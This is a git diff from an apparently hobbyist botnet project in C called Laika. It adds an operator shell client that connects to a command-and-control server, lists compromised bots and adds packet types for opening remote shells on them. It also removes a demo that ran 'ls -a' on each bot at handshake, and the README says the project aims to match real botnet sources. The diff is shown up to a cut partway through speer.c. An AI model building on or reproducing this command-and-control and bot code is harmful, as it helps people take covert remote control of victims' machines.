diff --git a/.vscode/settings.json b/.vscode/settings.json
index cad0dd6..dd9b75e 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -25,7 +25,8 @@
         "bit": "c",
         "limits": "c",
         "*.in": "cpp",
-        "lerror.h": "c"
+        "lerror.h": "c",
+        "stdbool.h": "c"
     },
     "cSpell.words": [
         "cnc's",
diff --git a/CMakeLists.txt b/CMakeLists.txt
index bfbf7a4..cb67650 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -37,4 +37,4 @@ add_subdirectory(lib)
 add_subdirectory(tools)
 add_subdirectory(cnc)
 add_subdirectory(bot)
-add_subdirectory(panel)
+add_subdirectory(shell)
diff --git a/README.md b/README.md
index ed022c0..b34aecd 100644
--- a/README.md
+++ b/README.md
@@ -9,22 +9,27 @@ Some notable features thus far:
     - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`)
     - [ ] Obfuscation modes
 
-## Why?
-
-It's a fun project :)
-
 ## Would this work in real world scenarios?
 
 My hope is that this becomes complete enough to be accurate to real botnet sources seen in the wild. However since Laika uses a binary protocol, the traffic the bot/CNC create would look very suspect and scream to sysadmins. This is why most botnets nowadays use an HTTP-based protocol, not only to 'blend in' with traffic, but it also scales well with large networks of bots where the CNC can be deployed across multiple servers and have a generic HTTP load balancer.
 
 I could add some padding to each packet to make it look pseudo-HTTP-like, however I haven't given much thought to this.
 
+## Directories explained
+
+- `/cmake-modules` holds helper functions for finding things like libSodium.
+- `/lib` is a shared static library between the client, peer & panel clients.
+- `/cnc` is the Command aNd Control server.
+- `/bot` is the bot client to be ran on the target machine.
+- `/shell` is the main shell to connect to the CNC server with to issue commands.
+- `/panel` is a very incomplete & broken ncurses client. ignore for now.
+- `/tools` holds tools for generating keypairs, etc.
+
 ## Configuration and compilation
 
 Make sure you have the following libraries and tools installed:
 - CMake (>=3.10)
 - LibSodium (static library)
-- NCurses
 
 First, compile the target normally
 
diff --git a/bot/include/bot.h b/bot/include/bot.h
index 7d471db..4b17f34 100644
--- a/bot/include/bot.h
+++ b/bot/include/bot.h
@@ -6,7 +6,7 @@
 #include "lsocket.h"
 #include "lpeer.h"
 #include "lpolllist.h"
-#include "lrsa.h"
+#include "lsodium.h"
 
 struct sLaika_shell;
 struct sLaika_bot {
diff --git a/bot/src/bot.c b/bot/src/bot.c
index 4870f26..a8d4148 100644
--- a/bot/src/bot.c
+++ b/bot/src/bot.c
@@ -1,5 +1,5 @@
 #include "lmem.h"
-#include "lrsa.h"
+#include "lsodium.h"
 #include "lerror.h"
 #include "bot.h"
 #include "shell.h"
@@ -135,6 +135,7 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
     struct sLaika_pollEvent *evnt;
     int numEvents;
 
+    /* flush any events prior (eg. made by a task) */
     laikaB_flushQueue(bot);
     evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
 
@@ -155,6 +156,7 @@ _BOTKILL:
     laikaS_kill(&bot->peer->sock);
 LAIKA_TRYEND
 
+    /* flush any events after (eg. made by a packet handler) */
     laikaB_flushQueue(bot);
     return true;
 }
\ No newline at end of file
diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c
index fa97c3f..b045455 100644
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@@ -1,5 +1,5 @@
 #include "lmem.h"
-#include "lrsa.h"
+#include "lsodium.h"
 #include "lsocket.h"
 #include "lerror.h"
 
@@ -22,7 +22,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
     char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
     uint8_t id;
 
-    if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
+    if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
         LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!")
 
     id = laikaS_readByte(&peer->sock);
@@ -72,17 +72,6 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
     laikaC_onAddPeer(cnc, peer);
 
     LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
-
-    /* shell demo */
-    char *demo = "ls -a\n";
-    laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
-    laikaS_writeByte(&peer->sock, 0);
-    laikaS_endOutPacket(peer);
-
-    laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
-    laikaS_writeByte(&peer->sock, 0);
-    laikaS_write(&peer->sock, demo, 6);
-    laikaS_endVarPacket(peer);
 }
 
 PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
@@ -188,11 +177,26 @@ void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
     LAIKA_DEBUG("peer %lx killed!\n", peer);
 }
 
+void laikaC_flushQueue(struct sLaika_cnc *cnc) {
+    struct sLaika_peer *peer;
+    int i;
+
+    /* flush pList's outQueue */
+    for (i = 0; i < cnc->pList.outCount; i++) {
+        peer = cnc->pList.outQueue[i];
+        LAIKA_DEBUG("sending OUT to %lx\n", peer);
+        if (!laikaS_handlePeerOut(peer))
+            laikaC_killPeer(cnc, peer);
+    }
+    laikaP_resetOutQueue(&cnc->pList);
+}
+
 bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
     struct sLaika_peer *peer;
     struct sLaika_pollEvent *evnts;
     int numEvents, i;
 
+    laikaC_flushQueue(cnc);
     evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);
 
     /* if we have 0 events, we reached the timeout, let the caller know */
@@ -239,14 +243,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
         LAIKA_TRYEND
     }
 
-    /* flush pList's outQueue */
-    for (i = 0; i < cnc->pList.outCount; i++) {
-        peer = cnc->pList.outQueue[i];
-        LAIKA_DEBUG("sending OUT to %lx\n", peer);
-        if (!laikaS_handlePeerOut(peer))
-            laikaC_killPeer(cnc, peer);
-    }
-    laikaP_resetOutQueue(&cnc->pList);
-
+    laikaC_flushQueue(cnc);
     return true;
 }
\ No newline at end of file
diff --git a/lib/include/lerror.h b/lib/include/lerror.h
index f4f388d..a5a73d8 100644
--- a/lib/include/lerror.h
+++ b/lib/include/lerror.h
@@ -33,6 +33,7 @@
 #else
 #define LAIKA_ERROR(...) do { \
     printf("[ERROR] : " __VA_ARGS__); \
+    getchar(); \
     if (LAIKA_ISPROTECTED) \
         longjmp(eLaika_errStack[eLaika_errIndx], 1); \
     else \
diff --git a/lib/include/lmem.h b/lib/include/lmem.h
index 41af48a..57941ff 100644
--- a/lib/include/lmem.h
+++ b/lib/include/lmem.h
@@ -22,6 +22,14 @@
     count -= numElem; \
 }
 
+/* moves array elements above indx up by numElem, inserting numElem elements at indx */ 
+#define laikaM_insertarray(buf, count, indx, numElem) { \
+    int _i; \
+    for (_i = count; _i > indx; _i--) \
+        buf[_i] = buf[_i-1]; \
+    count += numElem; \
+}
+
 void *laikaM_realloc(void *buf, size_t sz);
 
 #endif
\ No newline at end of file
diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h
index 0c85f80..963d400 100644
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@@ -55,16 +55,16 @@ enum {
     */
     LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
     /* layout of LAIKAPKT_SHELL_OPEN:
-    *   uint8_t id;
+    *   uint8_t shellID;
     */
     LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
     /* layout of LAIKAPKT_SHELL_CLOSE:
-    *   uint8_t id;
+    *   uint8_t shellID;
     */
     LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
     /* layout of LAIKAPKT_SHELL_DATA
-    *   uint8_t id;
-    *   char buf[VAR_PACKET_LENGTH]
+    *   uint8_t shellID;
+    *   char buf[VAR_PACKET_LENGTH];
     */
 /* ==================================================[[ Auth ]]================================================== */
     LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
@@ -83,6 +83,20 @@ enum {
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint8_t peerType;
     */
+    LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */
+    /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
+    *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
+    */
+    LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */
+    /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
+    *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
+    *   uint8_t shellID; -- shell id of shell opened on bot
+    */
+    LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
+    /* layout of LAIKAPKT_SHELL_DATA
+    *   uint8_t shellID;
+    *   char buf[VAR_PACKET_LENGTH];
+    */
     LAIKAPKT_MAXNONE
 };
 
diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h
index f7c7f75..4eddc2f 100644
--- a/lib/include/lpeer.h
+++ b/lib/include/lpeer.h
@@ -5,7 +5,7 @@
 #include "lsocket.h"
 #include "lpacket.h"
 #include "lpolllist.h"
-#include "lrsa.h"
+#include "lsodium.h"
 
 typedef enum {
     PEER_UNVERIFIED,
diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h
index 8a3329c..d0f3381 100644
--- a/lib/include/lsocket.h
+++ b/lib/include/lsocket.h
@@ -51,7 +51,7 @@
 #endif
 #include <fcntl.h>
 
-#include "lrsa.h"
+#include "lsodium.h"
 
 typedef enum {
     RAWSOCK_OK,
diff --git a/lib/include/lrsa.h b/lib/include/lsodium.h
similarity index 100%
rename from lib/include/lrsa.h
rename to lib/include/lsodium.h
diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c
index 6666b1e..8b57380 100644
--- a/lib/src/lsocket.c
+++ b/lib/src/lsocket.c
@@ -3,7 +3,7 @@
 #include "lerror.h"
 #include "lmem.h"
 #include "lpolllist.h"
-#include "lrsa.h"
+#include "lsodium.h"
 #include "lsocket.h"
 #include "lpacket.h"
 
diff --git a/panel/include/pbot.h b/panel/include/pbot.h
index b1a9128..43f74a3 100644
--- a/panel/include/pbot.h
+++ b/panel/include/pbot.h
@@ -3,7 +3,7 @@
 
 #include "laika.h"
 #include "lpeer.h"
-#include "lrsa.h"
+#include "lsodium.h"
 
 #include "panel.h"
 
diff --git a/shell/CMakeLists.txt b/shell/CMakeLists.txt
new file mode 100644
index 0000000..d68bf1a
--- /dev/null
+++ b/shell/CMakeLists.txt
@@ -0,0 +1,19 @@
+cmake_minimum_required(VERSION 3.10)
+
+set(SHELL_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
+
+project(LaikaShell VERSION 1.0)
+
+# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
+set_property(GLOBAL PROPERTY USE_FOLDERS ON)
+
+# compile LaikaShell
+file(GLOB_RECURSE SHELLSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
+add_executable(LaikaShell ${SHELLSOURCE})
+target_link_libraries(LaikaShell PUBLIC LaikaLib)
+
+# add the 'DEBUG' preprocessor definition if we're compiling as Debug
+target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
+
+# add include directory
+target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})
diff --git a/shell/include/sclient.h b/shell/include/sclient.h
new file mode 100644
index 0000000..a1496b8
--- /dev/null
+++ b/shell/include/sclient.h
@@ -0,0 +1,33 @@
+#ifndef SHELLCLIENT_H
+#define SHELLCLIENT_H
+
+#include "hashmap.h"
+#include "lpeer.h"
+#include "lsodium.h"
+
+#include "speer.h"
+
+typedef struct sShell_client {
+    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
+    struct sLaika_pollList pList;
+    struct sLaika_peer *peer;
+    struct hashmap *peers;
+    tShell_peer **peerTbl;
+    int peerTblCount;
+    int peerTblCap;
+} tShell_client;
+
+void shellC_init(tShell_client *client);
+void shellC_cleanup(tShell_client *client);
+
+void shellC_connectToCNC(tShell_client *client, char *ip, char *port);
+bool shellC_poll(tShell_client *client, int timeout);
+
+tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
+
+int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
+void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
+
+void shellC_printInfo(tShell_peer *peer);
+
+#endif
\ No newline at end of file
diff --git a/shell/include/scmd.h b/shell/include/scmd.h
new file mode 100644
index 0000000..0727a31
--- /dev/null
+++ b/shell/include/scmd.h
@@ -0,0 +1,23 @@
+#ifndef SHELLCMD_H
+#define SHELLCMD_H
+
+#include <string.h>
+
+#include "sclient.h"
+
+typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
+
+typedef struct sShell_cmdDef {
+    const char *cmd;
+    const char *help;
+    shellCmdCallback callback;
+} tShell_cmdDef;
+
+extern tShell_cmdDef shellS_cmds[];
+
+void shellS_initCmds(void);
+void shellS_cleanupCmds(void);
+
+void shellS_runCmd(tShell_client *client, char *cmd);
+
+#endif
\ No newline at end of file
diff --git a/shell/include/speer.h b/shell/include/speer.h
new file mode 100644
index 0000000..a567286
--- /dev/null
+++ b/shell/include/speer.h
@@ -0,0 +1,18 @@
+#ifndef SHELLPEER_H
+#define SHELLPEER_H
+
+#include "lsodium.h"
+#include "lpeer.h"
+
+typedef struct sShell_peer {
+    uint8_t pub[crypto_kx_PUBLICKEYBYTES];
+    char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
+    PEERTYPE type;
+} tShell_peer;
+
+tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pub, char *hostname, char *ipv4);
+void shellP_freePeer(tShell_peer *peer);
+
+char *shellP_typeStr(tShell_peer *peer);
+
+#endif
\ No newline at end of file
diff --git a/shell/include/sterm.h b/shell/include/sterm.h
new file mode 100644
index 0000000..dfbad84
--- /dev/null
+++ b/shell/include/sterm.h
@@ -0,0 +1,26 @@
+#ifndef SHELLTERM_H
+#define SHELLTERM_H
+
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/select.h>
+#include <termios.h>
+#include <stdbool.h>
+
+#include "sclient.h"
+
+void shellT_conioTerm(void);
+void shellT_resetTerm(void);
+void shellT_printf(const char *format, ...);
+
+/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
+bool shellT_waitForInput(int timeout);
+char shellT_getch(void);
+int shellT_kbget(void);
+void shellT_printPrompt(void);
+void shellT_setPrompt(char *prompt);
+void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */
+
+#endif
\ No newline at end of file
diff --git a/shell/src/main.c b/shell/src/main.c
new file mode 100644
index 0000000..cc22e86
--- /dev/null
+++ b/shell/src/main.c
@@ -0,0 +1,34 @@
+#include <stdio.h>
+
+#include "sclient.h"
+#include "sterm.h"
+
+int main(int argv, char *argc[]) {
+    tShell_client client;
+    bool printPrompt = false;
+
+    shellC_init(&client);
+    shellC_connectToCNC(&client, "127.0.0.1", "13337");
+
+    shellT_conioTerm();
+    while(laikaS_isAlive((&client.peer->sock))) {
+        /* poll for 50ms */
+        if (!shellC_poll(&client, 50)) {
+            /* check if we have input! */
+            if (shellT_waitForInput(0))
+                shellT_addChar(&client, shellT_kbget());
+
+            /* no prompt shown? show it */
+            if (!printPrompt) {
+                printPrompt = true;
+
+                shellT_printPrompt();
+            }
+        } else {
+            printPrompt = false;
+        }
+    }
+
+    shellC_cleanup(&client);
+    return 0;
+}
\ No newline at end of file
diff --git a/shell/src/sclient.c b/shell/src/sclient.c
new file mode 100644
index 0000000..a77c062
--- /dev/null
+++ b/shell/src/sclient.c
@@ -0,0 +1,279 @@
+#include "lmem.h"
+#include "lerror.h"
+#include "lpacket.h"
+#include "lsodium.h"
+#include "sterm.h"
+
+#include "sclient.h"
+
+typedef struct sShell_hashMapElem {
+    int id;
+    tShell_peer *peer;
+    uint8_t *pub;
+} tShell_hashMapElem;
+
+int shellElemCompare(const void *a, const void *b, void *udata) {
+    const tShell_hashMapElem *ua = a;
+    const tShell_hashMapElem *ub = b;
+
+    return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); 
+}
+
+uint64_t shellElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
+    const tShell_hashMapElem *u = item;
+    return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
+}
+
+void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    uint8_t endianness = laikaS_readByte(&peer->sock);
+    peer->sock.flipEndian = endianness != laikaS_isBigEndian();
+}
+
+void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
+    uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
+    tShell_client *client = (tShell_client*)uData;
+    tShell_peer *bot;
+    uint8_t type;
+
+    /* read newly connected peer's pubKey */
+    laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
+
+    /* read hostname & ipv4 */
+    laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
+    laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
+
+    /* read peer's peerType */
+    type = laikaS_readByte(&peer->sock);
+
+    /* ignore panel clients */
+    if (type == PEER_PANEL)
+        return;
+
+    /* create peer */
+    bot = shellP_newPeer(type, pubKey, hostname, ipv4);
+
+    /* add peer to client */
+    shellC_addPeer(client, bot);
+}
+
+void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
+    tShell_client *client = (tShell_client*)uData;
+    tShell_peer *bot;
+    uint8_t type;
+    int id;
+
+    /* read public key & type */
+    laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
+    type = laikaS_readByte(&peer->sock);
+
+    /* ignore panel clients */
+    if (type == PEER_PANEL)
+        return;
+
+    if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
+        LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n")
+
+    /* remove peer */
+    shellC_rmvPeer(client, bot, id);
+}
+
+LAIKAPKT_SIZE shellC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
+    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
+    [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */
+    [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
+};
+
+PeerPktHandler shellC_handlerTbl[LAIKAPKT_MAXNONE] = {
+    [LAIKAPKT_HANDSHAKE_RES] = shellC_handleHandshakeRes,
+    [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = shellC_handleAddPeer,
+    [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = shellC_handleRmvPeer,
+};
+
+void shellC_init(tShell_client *client) {
+    size_t _unused;
+
+    laikaP_initPList(&client->pList);
+    client->peer = laikaS_newPeer(
+        shellC_handlerTbl,
+        shellC_pktSizeTbl,
+        &client->pList,
+        (void*)client
+    );
+
+    client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shellElemHash, shellElemCompare, NULL, NULL);
+    client->peerTbl = NULL;
+    client->peerTblCap = 4;
+    client->peerTblCount = 0;
+
+    /* load authenticated keypair */
+    if (sodium_init() < 0) {
+        shellC_cleanup(client);
+        LAIKA_ERROR("LibSodium failed to initialize!\n");
+    }
+
+    if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+        shellC_cleanup(client);
+        LAIKA_ERROR("Failed to init public key!\n");
+    }
+
+    if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
+        shellC_cleanup(client);
+        LAIKA_ERROR("Failed to init private key!\n");
+    }
+
+    /* read cnc's public key into peerPub */
+    if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+        shellC_cleanup(client);
+        LAIKA_ERROR("Failed to init cnc public key!\n");
+    }
+}
+
+void shellC_cleanup(tShell_client *client) {
+    int i;
+
+    laikaS_freePeer(client->peer);
+    laikaP_cleanPList(&client->pList);
+    hashmap_free(client->peers);
+
+    /* free peers */
+    for (i = 0; i < client->peerTblCount; i++) {
+        if (client->peerTbl[i])
+            shellP_freePeer(client->peerTbl[i]);
+    }
+    laikaM_free(client->peerTbl);
+}
+
+void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
+    struct sLaika_socket *sock = &client->peer->sock;
+
+    /* create encryption keys */
+    if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
+        LAIKA_ERROR("failed to gen session key!\n")
+
+    /* setup socket */
+    laikaS_connect(sock, ip, port);
+    laikaS_setNonBlock(sock);
+    laikaP_addSock(&client->pList, sock);
+
+    /* queue handshake request */
+    laikaS_startOutPacket(client->peer, LAIKAPKT_HANDSHAKE_REQ);
+    laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
+    laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
+    laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
+    laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
+
+    /* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
+    laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
+    laikaS_zeroWrite(sock, LAIKA_IPV4_LEN);
+    laikaS_endOutPacket(client->peer);
+    laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
+
+    /* queue authenticated handshake request */
+    laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
+    laikaS_writeByte(sock, PEER_PANEL);
+    laikaS_endOutPacket(client->peer);
+
+    /* the handshake requests will be sent on the next call to shellC_poll */
+}
+
+void shellC_flushQueue(tShell_client *client) {
+    /* flush pList's outQueue */
+    if (client->pList.outCount > 0) {
+        if (!laikaS_handlePeerOut(client->peer))
+            laikaS_kill(&client->peer->sock);
+
+        laikaP_resetOutQueue(&client->pList);
+    }
+}
+
+bool shellC_poll(tShell_client *client, int timeout) {
+    struct sLaika_pollEvent *evnt;
+    int numEvents;
+
+    /* flush any events prior (eg. made by a command handler) */
+    shellC_flushQueue(client);
+    evnt = laikaP_poll(&client->pList, timeout, &numEvents);
+
+    if (numEvents == 0) /* no events? timeout was reached */
+        return false;
+
+LAIKA_TRY
+    if (evnt->pollIn && !laikaS_handlePeerIn(client->peer))
+        goto _CLIENTKILL;
+
+    if (evnt->pollOut && !laikaS_handlePeerOut(client->peer))
+        goto _CLIENTKILL;
+
+    if (!evnt->pollIn && !evnt->pollOut) /* not a pollin or pollout event, must be an error */
+        goto _CLIENTKILL;
+LAIKA_CATCH
+_CLIENTKILL:
+    laikaS_kill(&client->peer->sock);
+LAIKA_TRYEND
+
+    /* flush any events after (eg. made by a packet handler) */
+    shellC_flushQueue(client);
+    return true;
+}
+
+tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
+    tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
+
+    /* return peer if elem was found, otherwise return NULL */
+    if (elem) {
+        *id = elem->id;
+        return elem->peer;
+    } else {
+        *id = -1;
+        return NULL;
+    }
+}
+
+int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
+    /* find empty ID */
+    int id;
+    for (id = 0; id < client->peerTblCount; id++) {
+        if (client->peerTbl[id] == NULL) /* it's empty! */
+            break;
+    }
+
+    /* if we didn't find an empty id, grow the array */
+    if (id == client->peerTblCount) {
+        laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap);
+        client->peerTblCount++;
+    }
+
+    /* add to peer lookup table */
+    client->peerTbl[id] = newPeer;
+
+    /* insert into hashmap */
+    hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
+
+    /* let user know */
+    shellT_printf("\nNew peer connected to CNC:\n");
+    shellC_printInfo(newPeer);
+    return id;
+}
+
+void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
+    /* remove from bot tbl */
+    client->peerTbl[id] = NULL;
+
+    /* remove peer from hashmap */
+    hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
+
+    shellT_printf("\nPeer disconnected from CNC:\n");
+    shellC_printInfo(oldPeer);
+
+    /* finally, free peer */
+    shellP_freePeer(oldPeer);
+}
+
+void shellC_printInfo(tShell_peer *peer) {
+    char buf[128];
+
+    sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
+    shellT_printf("\t%s@%s\n\tTYPE: %s\n\tPUBKEY: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), buf);
+}
\ No newline at end of file
diff --git a/shell/src/scmd.c b/shell/src/scmd.c
new file mode 100644
index 0000000..30b1f0b
--- /dev/null
+++ b/shell/src/scmd.c
@@ -0,0 +1,99 @@
+#include "lmem.h"
+#include "sclient.h"
+#include "speer.h"
+#include "scmd.h"
+#include "sterm.h"
+
+void helpCMD(tShell_client *client, int args, char *argc[]);
+
+void listPeers(tShell_client *client, int args, char *argc[]) {
+    int i;
+
+    shellT_printf("\n");
+    for (i = 0; i < client->peerTblCount; i++) {
+        if (client->peerTbl[i]) {
+            shellT_printf("\n%04d ", i);
+            shellC_printInfo(client->peerTbl[i]);
+        }
+    }
+    shellT_printf("\n");
+}
+
+#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback})
+
+tShell_cmdDef shellS_cmds[] = {
+    CREATECMD("help", "Lists avaliable commands", helpCMD),
+    CREATECMD("list", "Lists all connected peers to CNC", listPeers),
+};
+
+#undef CREATECMD
+
+void helpCMD(tShell_client *client, int args, char *argc[]) {
+    int i;
+
+    shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
+    for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
+        shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
+    }
+    shellT_printf("\n");
+}
+
+tShell_cmdDef *shellS_findCmd(char *cmd) {
+    int i;
+
+    /* TODO: make a hashmap for command lookup */
+    for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
+        if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
+            return &shellS_cmds[i]; /* cmd found */
+    }
+
+    return NULL;
+}
+
+void shellS_initCmds(void) {
+    /* stubbed for now, TODO: setup command hashmap */
+}
+
+void shellS_cleanupCmds(void) {
+    /* stubbed for now, TODO: free command hashmap */
+}
+
+char **shellS_splitCmd(char *cmd, int *argSize) {
+    int argCount = 0;
+    int argCap = 4;
+    char **args = NULL;
+    char *arg = cmd;
+
+    do {
+        /* replace space with NULL terminator */
+        if (arg != cmd)
+            *arg++ = '\0';
+
+        /* insert into our 'args' array */
+        laikaM_growarray(char*, args, 1, argCount, argCap);
+        args[argCount++] = arg;
+    } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
+
+    *argSize = argCount;
+    return args;
+}
+
+void shellS_runCmd(tShell_client *client, char *cmd) {
+    tShell_cmdDef *cmdDef;
+    char **argc;
+    int args;
+
+    argc = shellS_splitCmd(cmd, &args);
+
+    /* find cmd */
+    if ((cmdDef = shellS_findCmd(argc[0])) == NULL) {
+        shellT_printf("\nUnknown command '%s'!\n\n", cmd);
+        return;
+    }
+
+    /* run command */
+    cmdDef->callback(client, args, argc);
+
+    /* free our argument buffer */
+    laikaM_free(argc);
+}
diff --git a/shell/src/speer.c b/shell/src/speer.c
new file mode 100644
index 0000000..e0141d4
--- /dev/null
+++ b/shell/src/speer.c
@@ -0,0 +1,34 @@
+#include "lmem.h"
+#include "lpacket.h"
+#include "speer.h"
+
+tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char *ipv4) {
+    tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
+    peer->type = type;
+
+    /* copy pubKey to peer's pubKey */
+    memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
+
+    /* copy hostname & ipv4 */
+    memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN);
